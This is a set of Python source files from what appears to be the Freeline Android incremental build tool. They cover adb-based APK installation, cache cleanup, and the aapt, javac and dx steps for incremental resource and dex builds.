            child_task.interrupted_exception = self.task.interrupted_exception
            child_task.notify()

        if self.engine.is_all_tasks_finished():
            self.engine.interrupt(self.task.interrupted_exception)
            self.engine.finish()

    def _check_engine_finished(self):
        if self.engine.is_all_tasks_finished():
            self.engine.finish()


def find_root_tasks(task_list):
    return filter(lambda task: len(task.parent_tasks) == 0, task_list)


def find_last_tasks(task_list):
    return filter(lambda task: len(task.child_tasks) == 0, task_list)






# -*- coding:utf8 -*-
import os
import re
import traceback
import shutil
import time

from logger import Logger
from builder import Builder
from task import Task, SyncTask, IncrementalBuildTask
from utils import cexec, write_file_content, get_file_content, merge_xml, get_md5, load_json_cache, is_windows_system, \
    write_json_cache, calculate_typed_file_count, remove_namespace
from command import AbstractCommand
from exceptions import FreelineException
from sync_client import SyncClient

try:
    import xml.etree.cElementTree as ET
except ImportError:
    import xml.etree.ElementTree as ET


class InstallApkTask(Task):
    def __init__(self, adb, config):
        Task.__init__(self, 'install_apk_task')
        # reload freeline config
        from dispatcher import read_freeline_config
        self._config = read_freeline_config()
        self._adb = adb
        self._apk_path = self._config['apk_path']
        self._package = self._config['package']
        self._launcher = self._config['launcher']
        self._cache_dir = self._config['build_cache_dir']

    def execute(self):
        self._check_connection()
        self._install_apk()
        self._launch_application()

    def _check_connection(self):
        self.debug('check device\' connection...')
        commands = [self._adb, 'devices']
        output, err, code = cexec(commands, callback=None)
        if code == 0:
            length = len(output.strip().split('\n'))
            from exceptions import UsbConnectionException
            if length < 2:
                raise UsbConnectionException('No device\'s connection found',
                                             '\tUse `adb devices` to check your device connection')
            if length > 2:
                raise UsbConnectionException('More than 1 device connect',
                                             '\tOnly 1 device allowed, '
                                             'use `adb devices` to check your devices\' connection')

    def _install_apk(self):
        if self._adb:
            if not os.path.exists(self._apk_path):
                raise FreelineException('apk not found.', 'apk path: {}, not exists.'.format(self._apk_path))

            self.debug('start to install apk to device...')

            install_args = [self._adb, 'install', '-r', self._apk_path]
            output, err, code = cexec(install_args, callback=None)

            if 'Failure' in output:
                self.debug('install apk failed, start to retry.')
                output, err, code = cexec(install_args, callback=None)
                if 'Failure' in output:
                    raise FreelineException('install apk to device failed.', '{}\n{}'.format(output, err))

    def _launch_application(self):
        if self._package and self._launcher:
            self.debug('start to launch application {}/{}'.format(self._package, self._launcher))
            cexec([self._adb, 'shell', 'am', 'start', '-n', self._package + '/' + self._launcher], callback=None)


class ConnectDeviceTask(SyncTask):
    def __init__(self, client):
        SyncTask.__init__(self, client, 'connect_device_task')

    def execute(self):
        from exceptions import CheckSyncStateException
        try:
            self._client.connect_device()
        except CheckSyncStateException as e:
            raise e


class AndroidSyncTask(SyncTask):
    def __init__(self, client, cache_dir):
        SyncTask.__init__(self, client, 'android_sync_task')
        self._client = client
        self._is_need_restart = is_need_restart(cache_dir)

    def execute(self):
        try:
            self._client.sync_incremental_res()
            self._client.sync_incremental_dex()
            self._client.sync_state(self._is_need_restart)
            self._client.close_connection()
        except FreelineException as e:
            raise e
        except Exception:
            raise FreelineException('sync files to your device failed', traceback.format_exc())


class AndroidSyncClient(SyncClient):
    def __init__(self, is_art, config):
        SyncClient.__init__(self, is_art, config)

    def sync_incremental_res(self):
        pass

    def _get_apktime_path(self):
        pass

    def _is_need_sync_res(self):
        pass


class CleanAllCacheTask(Task):
    def __init__(self, cache_dir, ignore=None):
        Task.__init__(self, 'clean_all_cache_task')
        self._cache_dir = cache_dir
        self._ignore = ignore

    def execute(self):
        for dirpath, dirnames, files in os.walk(self._cache_dir):
            for fn in files:
                self.__remove(dirpath, fn)

    def __remove(self, dirpath, fn):
        if self._ignore is not None:
            if fn not in self._ignore:
                os.remove(os.path.join(dirpath, fn))
            else:
                self.debug('ignore remove: {}'.format(os.path.join(dirpath, fn)))
        else:
            os.remove(os.path.join(dirpath, fn))


class UpdateStatTask(Task):
    def __init__(self, config, changed_files):
        Task.__init__(self, 'update_stat_task')
        self._config = config
        self._changed_files = changed_files

    def execute(self):
        cache_path = os.path.join(self._config['build_cache_dir'], 'stat_cache.json')
        stat_cache = load_json_cache(cache_path)
        for module, file_dict in self._changed_files.iteritems():
            for key, files in file_dict.iteritems():
                for fpath in files:
                    if not fpath.startswith(self._config['build_cache_dir']) and os.path.exists(fpath):
                        self.debug('refresh {} stat'.format(fpath))
                        os.utime(fpath, None)
                        if fpath not in stat_cache[module]:
                            stat_cache[module][fpath] = {}

                        stat_cache[module][fpath]['mtime'] = os.path.getmtime(fpath)
                        stat_cache[module][fpath]['size'] = os.path.getsize(fpath)

        write_json_cache(cache_path, stat_cache)


class DirectoryFinder(object):
    def __init__(self, module_name, cache_dir):
        self._module_name = module_name
        self._cache_dir = cache_dir

    def get_res_dir(self):
        raise NotImplementedError

    def get_assets_dir(self):
        raise NotImplementedError

    def get_dst_res_dir(self):
        raise NotImplementedError

    def get_dst_r_dir(self):
        raise NotImplementedError

    def get_dst_r_path(self):
        raise NotImplementedError

    def get_dst_manifest_path(self):
        raise NotImplementedError

    def get_res_build_job_path(self):
        raise NotImplementedError

    def get_backup_dir(self):
        backup_dir = os.path.join(self._cache_dir, self._module_name, 'backup')
        if not os.path.isdir(backup_dir):
            os.makedirs(backup_dir)
        return backup_dir

    def get_backup_res_dir(self):
        dir_path = os.path.join(self.get_backup_dir(), 'res')
        if not os.path.isdir(dir_path):
            os.makedirs(dir_path)
        return dir_path

    def get_backup_values_dir(self):
        backup_values_dir = os.path.join(self.get_backup_res_dir(), 'values')
        if not os.path.isdir(backup_values_dir):
            os.makedirs(backup_values_dir)
        return backup_values_dir

    def get_public_xml_path(self):
        return os.path.join(self.get_backup_values_dir(), 'freeline_id_keeper_public.xml')

    def get_ids_xml_path(self):
        return os.path.join(self.get_backup_values_dir(), 'freeline_id_keeper_ids.xml')

    def get_sync_file_path(self):
        dir_path = os.path.join(self._cache_dir, self._module_name, 'respack')
        if not os.path.isdir(dir_path):
            os.makedirs(dir_path)
        return os.path.join(dir_path, self._module_name + '.sync')

    def get_dst_dex_path(self):
        return os.path.join(self.get_patch_dex_dir(), self._module_name + '.dex')

    def get_dst_res_pack_path(self, module):
        pack_dir = os.path.join(self._cache_dir, module, 'respack')
        if not os.path.exists(pack_dir):
            os.makedirs(pack_dir)
        return os.path.join(pack_dir, module + '.pack')

    def get_patch_dex_dir(self):
        dir_path = os.path.join(self._cache_dir, self._module_name, 'dex')
        if not os.path.isdir(dir_path):
            os.makedirs(dir_path)
        return dir_path

    def get_patch_classes_cache_dir(self):
        cache_dir = os.path.join(self._cache_dir, self._module_name, 'classes')
        if not os.path.exists(cache_dir):
            os.makedirs(cache_dir)
        return cache_dir

    @staticmethod
    def get_r_file_path(target_dir):
        for dirpath, dirnames, files in os.walk(target_dir):
            for fn in files:
                if fn.endswith("R.java"):
                    return os.path.join(dirpath, fn)
        return None


class QuickScanCommand(AbstractCommand):
    def __init__(self):
        AbstractCommand.__init__(self, 'quick_scan_command')

    def execute(self):
        raise NotImplementedError


class MergeDexTask(Task):
    def __init__(self, cache_dir, all_modules):
        Task.__init__(self, 'merge_dex_task')
        self._cache_dir = cache_dir
        self._all_modules = all_modules

    def execute(self):
        if is_src_changed(self._cache_dir):
            pending_merge_dexes = self._get_dexes()
            dex_path = get_incremental_dex_path(self._cache_dir)
            if len(pending_merge_dexes) == 1:
                self.debug('just 1 dex need to sync, copy {} to {}'.format(pending_merge_dexes[0], dex_path))
                shutil.copy(pending_merge_dexes[0], dex_path)
            elif len(pending_merge_dexes) > 1:
                dex_path = get_incremental_dex_path(self._cache_dir)
                dex_merge_args = ['java', '-jar', os.path.join('freeline', 'release-tools', 'DexMerge.jar'), dex_path]
                dex_merge_args.extend(pending_merge_dexes)
                self.debug('merge dex exec: ' + ' '.join(dex_merge_args))
                output, err, code = cexec(dex_merge_args, callback=None)
                if code != 0:
                    raise FreelineException('merge dex failed.', output)

    def _get_dexes(self):
        pending_merge_dexes = []
        for bundle in self._all_modules:
            path = os.path.join(self._cache_dir, bundle, 'dex', bundle + '.dex')
            if os.path.exists(path):
                pending_merge_dexes.append(path)
        return pending_merge_dexes


class AndroidIncrementalBuildTask(IncrementalBuildTask):
    def __init__(self, name, command):
        IncrementalBuildTask.__init__(self, name)
        self._command = command

    def execute(self):
        try:
            self._command.execute()
        except FreelineException as e:
            raise e
        except Exception:
            raise FreelineException('incremental build task failed.', traceback.format_exc())


class AndroidIncBuildInvoker(object):
    def __init__(self, name, path, config, changed_files, module_info, is_art=False,
                 is_other_bundles_has_src_changed=False):
        self._name = name
        self._module_path = path
        self._config = config
        self._changed_files = changed_files
        self._module_info = module_info
        self._is_art = is_art
        self._is_other_bundles_has_src_changed = is_other_bundles_has_src_changed

        self._aapt = Builder.get_aapt()
        self._javac = Builder.get_javac()
        if self._javac is None:
            raise FreelineException('Please declares your JAVA_HOME to system env!', 'JAVA_HOME not found in env.')
        self._dx = Builder.get_dx(self._config)
        self._cache_dir = self._config['build_cache_dir']
        self._finder = None
        self._res_dependencies = []
        self._is_ids_changed = False
        self._public_xml_path = None
        self._ids_xml_path = None
        self._new_res_list = []
        self._merged_xml_cache = {}
        self._origin_res_list = list(self._changed_files['res'])
        self._classpaths = []
        self._is_r_file_changed = False
        self._is_need_javac = True

        self.before_execute()

    def debug(self, message):
        Logger.debug('[{}_inc_invoker] {}'.format(self._name, message))

    def before_execute(self):
        raise NotImplementedError

    def check_res_task(self):
        job_path = self._finder.get_res_build_job_path()
        if len(self._changed_files['assets']) > 0 or len(self._changed_files['res']) > 0:
            self.debug('find {} has resource files modification.'.format(self._name))
            mark_res_build_job(job_path)
        if not os.path.exists(job_path):
            return False

        if len(self._changed_files['assets']) == 0 and len(self._changed_files['res']) == 0:
            if os.path.exists(self._finder.get_sync_file_path()):
                mark_r_changed_flag(self._name, self._cache_dir)
                self.debug('{} has sync flag, skip aapt task.'.format(self._name))
                return False

        return True

    def fill_dependant_jars(self):
        raise NotImplementedError

    def check_ids_change(self):
        for fn in self._changed_files['res']:
            if 'ids.xml' in fn or 'public.xml' in fn:
                self._changed_files['res'].remove(fn)
                self._is_ids_changed = True
                self.debug('find id file {} changed.'.format(fn))

    def generate_r_file(self):
        # ${cache_dir}/${module}/backup/res/values/public.xml
        self._public_xml_path = self._finder.get_public_xml_path()
        # ${cache_dir}/${module}/backup/res/values/ids.xml
        self._ids_xml_path = self._finder.get_ids_xml_path()

        if not os.path.exists(self._public_xml_path) or not os.path.exists(self._ids_xml_path):
            # generate public.xml and ids.xml by build/target/generated-sources/r/R.java
            self.debug('generating public.xml and ids.xml...')
            generate_public_files_by_r(self._finder.get_dst_r_path(config=self._config), self._public_xml_path,
                                       self._ids_xml_path)

        # if has public.xml or ids.xml changed, merge them with the new.
        if self._is_ids_changed:
            merge_public_file_with_old(self._public_xml_path, self._ids_xml_path, self._module_info['name'],
                                       self._config)

        # self._changed_files['res'].append(self._public_xml_path)
        # self._changed_files['res'].append(self._ids_xml_path)

    def backup_res_files(self):
        pending_remove = []
        for fpath in self._changed_files['res']:
            # res/values/colors.xml -> build/target/generated-sources/res/values/colors.xml
            # res/values/colors.xml -> build/intermediates/res/merged/debug/values/colors.xml
            dst_path = self._get_res_incremental_dst_path(fpath)
            is_new_file = False
            if not os.path.exists(dst_path):
                is_new_file = True
                self._new_res_list.append(dst_path)

            if fpath in self._merged_xml_cache:
                backup_res_file(dst_path)  # backup old file
                cache = self._merged_xml_cache[fpath]
                write_file_content(dst_path, cache)  # write merged cache to dst path
            else:
                if is_new_file:
                    shutil.copyfile(fpath, dst_path)  # just copy to dst path, if this is new file
                    self.debug('copy {} to {}'.format(fpath, dst_path))
                    continue

                old_file_md5 = get_md5(fpath)
                dst_file_md5 = get_md5(dst_path)
                if old_file_md5 != dst_file_md5:
                    backup_res_file(dst_path)
                    shutil.copyfile(fpath, dst_path)
                    self.debug('copy {} to {}'.format(fpath, dst_path))
                else:
                    pending_remove.append(fpath)  # file is not changed, so remove from changed list
                    os.utime(dst_path, None)

        for fpath in self._changed_files['assets']:
            dst_path = self._get_res_incremental_dst_path(fpath)
            if os.path.exists(dst_path):
                backup_res_file(dst_path)
            else:
                self._new_res_list.append(dst_path)
            shutil.copyfile(fpath, dst_path)

        for fpath in pending_remove:
            if fpath in self._changed_files['res']:
                self._changed_files['res'].remove(fpath)

    def _get_aapt_args(self):
        raise NotImplementedError

    def run_aapt_task(self):
        self._changed_files['res'].append(self._public_xml_path)
        self._changed_files['res'].append(self._ids_xml_path)

        aapt_args, final_changed_list = self._get_aapt_args()
        self.debug('aapt exec: ' + ' '.join(aapt_args))
        st = time.time()
        output, err, code = cexec(aapt_args, callback=None)

        if code == 0:
            self.debug('aapt use time: {}ms'.format((time.time() - st) * 1000))
            self.debug('merged_changed_list:')
            self.debug(final_changed_list)
            self._backup_res_changed_list(final_changed_list)
            self._handle_with_backup_files(True)
            mark_res_sync_status(self._finder.get_sync_file_path())
        else:
            clean_res_build_job_flag(self._finder.get_res_build_job_path())
            self._handle_with_backup_files(False)
            rollback_backup_files(self._origin_res_list, self._new_res_list)
            raise FreelineException('incremental res build failed.', '{}\n{}'.format(output, err))

    def check_r_md5(self):
        old_md5 = None
        old_r_file = self._finder.get_dst_r_path(config=self._config)
        new_r_file = DirectoryFinder.get_r_file_path(self._finder.get_backup_dir())
        if old_r_file and os.path.exists(old_r_file):
            old_md5 = get_md5(old_r_file)
        if new_r_file and os.path.exists(new_r_file):
            new_md5 = get_md5(new_r_file)
            if not old_md5:
                mark_r_changed_flag(self._name, self._cache_dir)
                self._changed_files['src'].append(new_r_file)
                self.debug('find R.java changed (origin R.java not exists)')
            else:
                if new_md5 != old_md5:
                    mark_r_changed_flag(self._name, self._cache_dir)
                    self._changed_files['src'].append(new_r_file)
                    self.debug('find R.java changed (md5 value is different from origin R.java)')

    def check_javac_task(self):
        changed_count = len(self._changed_files['src'])
        self.debug(self._changed_files['src'])

        # mark is there has R.java modification in src list
        # for fpath in self._changed_files['src']:
        #     if 'R.java' in fpath:
        #         self._is_r_file_changed = True
        #         self.debug('find R.java modified in src list')
        #         break

        if changed_count == 0:
            self.debug('{} project has no change, need not go ahead'.format(self._name))
            self._is_need_javac = False

        if self._is_only_r_changed():
            if self._is_other_bundles_has_src_changed:
                self.debug(
                    '{} code only change R.java, but other bundles has files changed, need not go javac task'.format(
                        self._name))
                self._is_need_javac = True
            else:
                self.debug('{} code only change R.java, need not go ahead'.format(self._name))
                self._is_need_javac = False

        return self._is_need_javac

    def _is_only_r_changed(self):
        is_only_r_changed = True
        for fpath in self._changed_files['src']:
            if os.sep + 'R.java' not in fpath:
                is_only_r_changed = False
            else:
                self._is_r_file_changed = True
                self.debug('find R.java modified in src list')
        return is_only_r_changed

    def fill_classpaths(self):
        raise NotImplementedError

    def clean_dex_cache(self):
        dex_path = self._finder.get_dst_dex_path()
        if os.path.isfile(dex_path):
            os.remove(dex_path)

    def run_javac_task(self):
        javacargs = [self._javac, '-target', '1.7', '-source', '1.7', '-encoding', 'UTF-8', '-g', '-cp',
                     os.pathsep.join(self._classpaths)]
        for fpath in self._changed_files['src']:
            javacargs.append(fpath)

        javacargs.append('-d')
        javacargs.append(self._finder.get_patch_classes_cache_dir())

        self.debug('javac exec: ' + ' '.join(javacargs))
        output, err, code = cexec(javacargs, callback=None)

        if code != 0:
            raise FreelineException('incremental javac compile failed.', '{}\n{}'.format(output, err))
        else:
            if self._is_r_file_changed:
                old_r_file = self._finder.get_dst_r_path(config=self._config)
                new_r_file = DirectoryFinder.get_r_file_path(self._finder.get_backup_dir())
                shutil.copyfile(new_r_file, old_r_file)
                self.debug('copy {} to {}'.format(new_r_file, old_r_file))

    def check_dex_task(self):
        patch_classes_count = calculate_typed_file_count(self._finder.get_patch_classes_cache_dir(), '.class')
        if self._is_need_javac:
            return False if patch_classes_count == 0 else True
        return False

    def run_dex_task(self):
        patch_classes_cache_dir = self._finder.get_patch_classes_cache_dir()
        dex_path = self._finder.get_dst_dex_path()
        add_path = None
        if is_windows_system():
            add_path = os.path.abspath(os.path.join(self._javac, os.pardir))
            dex_args = [self._dx, '--dex', '--output=' + dex_path, patch_classes_cache_dir]
        else:
            dex_args = [self._dx, '--dex', '--no-optimize', '--force-jumbo', '--output=' + dex_path,
                        patch_classes_cache_dir]

        self.debug('dex exec: ' + ' '.join(dex_args))
        output, err, code = cexec(dex_args, add_path=add_path)

        if code != 0:
            raise FreelineException('incremental dex compile failed.', '{}\n{}'.format(output, err))
        else:
            mark_restart_flag(self._cache_dir)

    def _handle_with_backup_files(self, is_success):
        res_dir = self._finder.get_dst_res_dir()
        dst_manifest_bak = self._finder.get_dst_manifest_path() + '.bak'
        if os.path.exists(dst_manifest_bak):
            handle_with_backup_file(dst_manifest_bak, is_success)
        for dirpath, dirnames, files in os.walk(res_dir):
            for fn in files:
                if fn.endswith('.bak'):
                    fpath = os.path.join(dirpath, fn)
                    handle_with_backup_file(fpath, is_success)

    def _get_backup_res_changed_list(self):
        respack_dir = self._finder.get_dst_res_pack_path(self._name)
        cache = load_json_cache(os.path.join(respack_dir, 'rchangelist.bak'))
        changed_list = cache.get('changed_list')
        if not changed_list:
            changed_list = []
        return changed_list

    def _backup_res_changed_list(self, changed_list):
        respack_dir = self._finder.get_dst_res_pack_path(self._name)
        all_changed_list = self._get_backup_res_changed_list()
        for f in changed_list:
            if f not in all_changed_list:
                all_changed_list.append(f)
        cache = {"changed_list": all_changed_list}
        write_json_cache(os.path.join(respack_dir, 'rchangelist.bak'), cache)

    def _get_res_incremental_dst_path(self, fpath):
        raise NotImplementedError

    def _parse_changed_list(self):
        raise NotImplementedError


class CleanCacheTask(Task):
    def __init__(self, cache_dir, project_info):
        Task.__init__(self, 'clean_cache_task')
        self._cache_dir = cache_dir
        self._project_info = project_info

    def execute(self):
        clean_src_changed_flag(self._cache_dir)
        for dirpath, dirnames, files in os.walk(self._cache_dir):
            for fn in files:
                if fn.endswith('.sync'):
                    os.remove(os.path.join(dirpath, fn))
                    pro = fn.split('.')[0]
                    # refresh ids.xml and public.xml
                    if is_r_changed_flag_exiests(pro, self._cache_dir):
                        self.debug('find R.java has modification, refresh ids.xml and public.xml')
                        finder = DirectoryFinder(pro, self._cache_dir)
                        public_xml_path = finder.get_public_xml_path()
                        ids_xml_path = finder.get_ids_xml_path()
                        generate_public_files_by_r(
                            DirectoryFinder.get_r_file_path(finder.get_dst_r_dir()), public_xml_path, ids_xml_path)
                        # merge_public_file_with_old(public_xml_path, ids_xml_path,
                        #                            self._project_info[pro]['children_bundle_path'])

                if fn.endswith('increment.dex') or fn.endswith('.rflag') or fn.endswith('.restart'):
                    os.remove(os.path.join(dirpath, fn))


def find_r_file(target_dir, package_name=None):
    if package_name is not None:
        package_name = os.path.join(package_name.replace('.', os.sep), 'R.java')
    for dirpath, dirnames, files in os.walk(target_dir):
        for fn in files:
            if fn.endswith("R.java"):
                path = os.path.join(dirpath, fn)
                if not package_name:
                    return path
                else:
                    if package_name in path:
                        return path
    return None


def merge_public_file_with_old(public_xml_path, ids_xml_path, module, config):
    # rdir = get_res_dir(dirname)
    res_dirs = config['project_source_sets'][module]['main_res_directory']
    for rdir in res_dirs:
        old_public = get_file_content(os.path.join(rdir, 'values', 'public.xml'))
        write_merge_result(public_xml_path, old_public)

        old_ids = get_file_content(os.path.join(rdir, 'values', 'ids.xml'))
        write_merge_result(ids_xml_path, old_ids)


def write_merge_result(path, content):
    if len(content) > 0:
        tmp_path = path + '.temp'
        write_file_content(tmp_path, content)
        result = merge_xml([path, tmp_path])
        write_file_content(path, result)
        os.remove(tmp_path)


def get_manifest_path(dir_path):
    manifest_path = os.path.join(dir_path, 'AndroidManifest.xml')
    if os.path.isfile(manifest_path):
        return manifest_path
    manifest_path = os.path.join(dir_path, 'src', 'main', 'AndroidManifest.xml')
    return manifest_path if os.path.isfile(manifest_path) else None


def is_res_sub_dir(dir_name):
    prefixes = ['drawable', 'layout', 'values', 'anim', 'color', 'menu', 'raw', 'xml', 'mipmap', 'animator',
                'interpolator', 'transition']
    for pre in prefixes:
        if dir_name.startswith(pre):
            return True
    return False


def get_incremental_dex_path(cache_dir):
    return os.path.join(cache_dir, 'increment.dex')


def get_device_sdk_version_by_adb(adb):
    dev_version = 0
    try:
        output = cexec([adb, 'shell', 'getprop ro.build.version.sdk'], callback=None)
        if output and len(output) > 0:
            if isinstance(output, str):
                dev_version = int(output.strip())
            elif isinstance(output, tuple):
                dev_version = int(output[0])
    except:
        pass
    return dev_version


def mark_res_build_job(job_path):
    if not os.path.exists(job_path):
        write_file_content(job_path, '')


def clean_res_build_job_flag(job_path):
    if os.path.exists(job_path):
        os.remove(job_path)


def is_r_changed_flag_exiests(pro, cache_dir):
    path = get_rflag_path(pro, cache_dir)
    return os.path.exists(path)


def mark_r_changed_flag(pro, cache_dir):
    path = get_rflag_path(pro, cache_dir)
    if not os.path.exists(path):
        write_file_content(path, '')


def clean_r_changed_flag(pro, cache_dir):
    path = get_rflag_path(pro, cache_dir)
    if os.path.exists(path):
        os.remove(path)


def get_rflag_path(pro, cache_dir):
    dirpath = os.path.join(cache_dir, pro, 'respack')
    if not os.path.isdir(dirpath):
        os.makedirs(dirpath)
    return os.path.join(dirpath, pro + '.rflag')


def mark_res_sync_status(sync_file_path):
    if not os.path.exists(sync_file_path):
        write_file_content(sync_file_path, '')


def clean_res_sync_status(sync_file_path):
    if os.path.exists(sync_file_path):
        os.remove(sync_file_path)


def mark_restart_flag(cache_dir):
    path = os.path.join(cache_dir, 'increment.restart')
    if not os.path.exists(path):
        write_file_content(path, '')


def is_need_restart(cache_dir):
    path = os.path.join(cache_dir, 'increment.restart')
    return os.path.exists(path)


def clean_restart_flag(cache_dir):
    path = os.path.join(cache_dir, 'increment.restart')
    if os.path.exists(path):
        os.remove(path)


def mark_src_changed(cache_dir):
    path = get_src_changed_flag_path(cache_dir)
    if not os.path.exists(path):
        write_file_content(path, '')


def is_src_changed(cache_dir):
    return os.path.exists(get_src_changed_flag_path(cache_dir))


def clean_src_changed_flag(cache_dir):
    path = get_src_changed_flag_path(cache_dir)
    if os.path.exists(path):
        os.remove(path)


def get_src_changed_flag_path(cache_dir):
    return os.path.join(cache_dir, 'increment.srcflag')


def mark_res_changed(cache_dir):
    path = get_res_changed_flag_path(cache_dir)
    if not os.path.exists(path):
        write_file_content(path, '')


def is_res_changed(cache_dir):
    return os.path.exists(get_res_changed_flag_path(cache_dir))


def clean_res_changed_flag(cache_dir):
    path = get_res_changed_flag_path(cache_dir)
    if os.path.exists(path):
        os.remove(path)


def get_res_changed_flag_path(cache_dir):
    return os.path.join(cache_dir, 'increment.resflag')


def backup_res_file(fpath):
    if os.path.exists(fpath):
        backup_path = fpath + '.bak'
        Logger.debug('backup: {}'.format(fpath))
        if os.path.exists(backup_path):
            os.remove(backup_path)
        os.rename(fpath, backup_path)


def handle_with_backup_file(fpath, is_success):
    if is_success:
        os.remove(fpath)
    else:
        origin = fpath.replace('.bak', '')
        if os.path.exists(origin):
            os.remove(origin)
            os.rename(fpath, origin)


def rollback_backup_files(origin_file_list, new_file_list):
    [os.utime(fpath, None) for fpath in origin_file_list]
    [os.remove(fpath) for fpath in new_file_list]


def generate_id_file_by_public(public_path, ids_path):
    if not os.path.exists(public_path):
        raise FreelineException("public file not found", "public file path: {}".format(public_path))

    tree = ET.ElementTree(ET.fromstring(remove_namespace(public_path)))
    ids_root = ET.Element('resources')
    for elem in tree.iterfind('public[@type="id"]'):
        node = ET.SubElement(ids_root, "item")
        node.attrib['name'] = elem.attrib['name']
        node.attrib['type'] = "id"
    ids_tree = ET.ElementTree(ids_root)
    ids_tree.write(ids_path, encoding="utf-8")


def generate_public_files_by_r(dst_r_path, public_path, ids_path):
    buf = get_file_content(dst_r_path)

    temp = re.findall('<tr><td><code>([^<]+)</code></td>', buf)
    diykv = []
    for i in temp:
        if "{" not in i:
            diykv.append(i)
    dstbuf = ''
    idbuf = '<?xml version="1.0" encoding="utf-8"?>\n'
    idbuf += '<resources>\n'
    dstbuf += idbuf

    result = buf.split('\n')
    type_char = ''
    for r in result:
        if 'public static final class' in r:
            type_char = r.replace('public static final class ', '').replace(' {', '').replace(' ', '').replace('\n', '').replace('\r', '')
        elif 'public static class' in r:
            type_char = r.replace('public static class ', '').replace(' {', '').replace(' ', '').replace('\n', '').replace('\r', '')
            type_char = type_char.replace(' ', '').replace('\n', '').replace('\r', '')
        elif 'public static final int' in r and type_char != '' and '[]' not in r:
            kv = r.replace('public static final int ', '').replace(';', '').split('=')
            name = kv[0].replace(' ', '').replace('\n', '').replace('\r', '')
            id_char = kv[1].replace(' ', '').replace('\n', '').replace('\r', '')
            dstbuf += '    <public type="%s" name="%s" id="%s" />\n' % (type_char, name, id_char)
            if type_char == 'id' and name not in diykv:
                idbuf += '    <item name="%s" type="id"/>\n' % name

        elif 'public static int' in r and type_char != '' and '[]' not in r:
            kv = r.replace('public static int ', '').replace(';', '').split('=')
            name = kv[0].replace(' ', '').replace('\n', '').replace('\r', '')
            id_char = kv[1].replace(' ', '').replace('\n', '').replace('\r', '')
            dstbuf += '    <public type="%s" name="%s" id="%s" />\n' % (type_char, name, id_char)
            if type_char == 'id' and name not in diykv:
                idbuf += '    <item name="%s" type="id"/>\n' % name

        elif type_char != '' and '}' in r:
            type_char = ''

    dstbuf += '</resources>'
    idbuf += '</resources>'
    write_file_content(public_path, dstbuf)
    write_file_content(ids_path, idbuf)


def get_apktime_path(config):
    adir = os.path.join(config['build_cache_dir'], 'freeline-assets')
    if not os.path.exists(adir):
        os.makedirs(adir)
    path = os.path.join(adir, 'apktime')
    if not os.path.exists(path):
        write_file_content(path, '')
    return path


def delete_class(class_dir, class_name):
    for dirpath, dirnames, files in os.walk(class_dir):
        for fn in files:
            if fn.startswith(class_name):
                name = fn.replace('.class', '')
                if name == class_name or name.startswith(class_name + '$'):
                    Logger.debug("delete class: " + os.path.join(dirpath, fn))
                    os.remove(os.path.join(dirpath, fn))






TIOCGWINSZ = 1074295912


def fcntl(fd, op, arg=0):
    return 0


def ioctl(fd, op, arg=0, mutable_flag=True):
    if mutable_flag:
        return 0
    else:
        return ""


def flock(fd, op):
    return


def lockf(fd, operation, length=0, start=0, whence=0):
    return






import build_commands
import builder
import command
import dispatcher
import exceptions
import task
import tracing
import utils






import time

from logger import Logger


class Tracing(object):
    def __init__(self, description):
        self.__name = "tracing"
        self.__description = description
        self.__start_time = 0

    def __enter__(self):
        self.__start_time = time.time()

    def __exit__(self, exc_type, exc_val, exc_tb):
        if exc_tb:
            return False
        else:
            self.debug(time.time() - self.__start_time)
            return True

    def debug(self, execute_time):
        Logger.debug('[{}] {}: {}ms'.format(self.__name, self.__description, execute_time * 1000))






# -*- coding:utf8 -*-
import os

from logger import Logger
from utils import generate_random_string, is_exe, remove_namespace, is_windows_system, is_linux_system

try:
    import xml.etree.cElementTree as ET
except ImportError:
    import xml.etree.ElementTree as ET


class Builder(object):
    TPL_BUILDER_DEBUG_MSG = "[{}] {}"

    def __init__(self, config, task_engine, builder_name=None):
        self.builder_name = 'builder' + generate_random_string() if not builder_name else builder_name
        self._config = config
        self._task_engine = task_engine

    def debug(self, message):
        Logger.debug(Builder.TPL_BUILDER_DEBUG_MSG.format(self.builder_name, message))

    @staticmethod
    def get_android_sdk_dir(config):
        if 'sdk_directory' in config and os.path.exists(config['sdk_directory']):
            return config['sdk_directory']

        sdk_dir = os.getenv('ANDROID_HOME')
        if sdk_dir and os.path.isdir(sdk_dir):
            return sdk_dir

        sdk_dir = os.getenv('ANDROID_SDK')
        if sdk_dir and os.path.isdir(sdk_dir):
            return sdk_dir

        return None

    @staticmethod
    def get_adb(config):
        sdk_dir = Builder.get_android_sdk_dir(config)
        adb_exe_name = os.name == 'nt' and 'adb.exe' or 'adb'
        if os.path.isdir(sdk_dir) and is_exe(os.path.join(sdk_dir, 'platform-tools', adb_exe_name)):
            return os.path.join(sdk_dir, 'platform-tools', adb_exe_name)
        return None

    @staticmethod
    def get_maven_home_dir():
        path = os.getenv('M2_HOME')
        if not path:
            path = os.getenv('MAVEN_HOME')
        return path

    @staticmethod
    def get_mvn():
        mvn_exe_name = os.name == 'nt' and 'mvn.bat' or 'mvn'
        path = Builder.get_maven_home_dir()
        if os.path.isdir(path) and os.path.isdir(os.path.join(path, 'bin')):
            mvn_exe_path = os.path.join(path, 'bin', mvn_exe_name)
            return mvn_exe_path if is_exe(mvn_exe_path) else None

    @staticmethod
    def get_maven_cache_dir():
        path = Builder.get_maven_home_dir()
        if os.path.isdir(path):
            settings_path = os.path.join(path, 'conf', 'settings.xml')
            if os.path.exists(settings_path):
                tree = ET.ElementTree(ET.fromstring(remove_namespace(settings_path)))
                local_repo_node = tree.find('localRepository')
                if local_repo_node is not None:
                    return local_repo_node.text
        return None

    @staticmethod
    def get_aapt():
        aapt = os.path.join('freeline', 'release-tools', 'FreelineAapt')
        if is_windows_system():
            aapt = os.path.join('freeline', 'release-tools', 'FreelineAapt.exe')
        if is_linux_system():
            aapt = os.path.join('freeline', 'release-tools', 'FreelineAapt_')
        return aapt if os.path.exists(aapt) else None

    @staticmethod
    def get_javac():
        exec_name = 'javac.exe' if is_windows_system() else 'javac'
        path = os.getenv('JAVA_HOME')
        if path and is_exe(os.path.join(path, 'bin', exec_name)):
            return os.path.join(path, 'bin', exec_name)
        return None

    @staticmethod
    def get_dx(config):
        if is_windows_system():
            if 'build_tools_directory' in config and os.path.exists(config['build_tools_directory']):
                path = os.path.join(config['build_tools_directory'], 'dx.bat')
                if is_exe(path):
                    return path
        else:
            return os.path.join('freeline', 'release-tools', 'dx')


class CleanBuilder(Builder):
    def __init__(self, config, task_engine, builder_name=None):
        Builder.__init__(self, config, task_engine, builder_name=builder_name)
        self._adb = None
        self._is_art = False

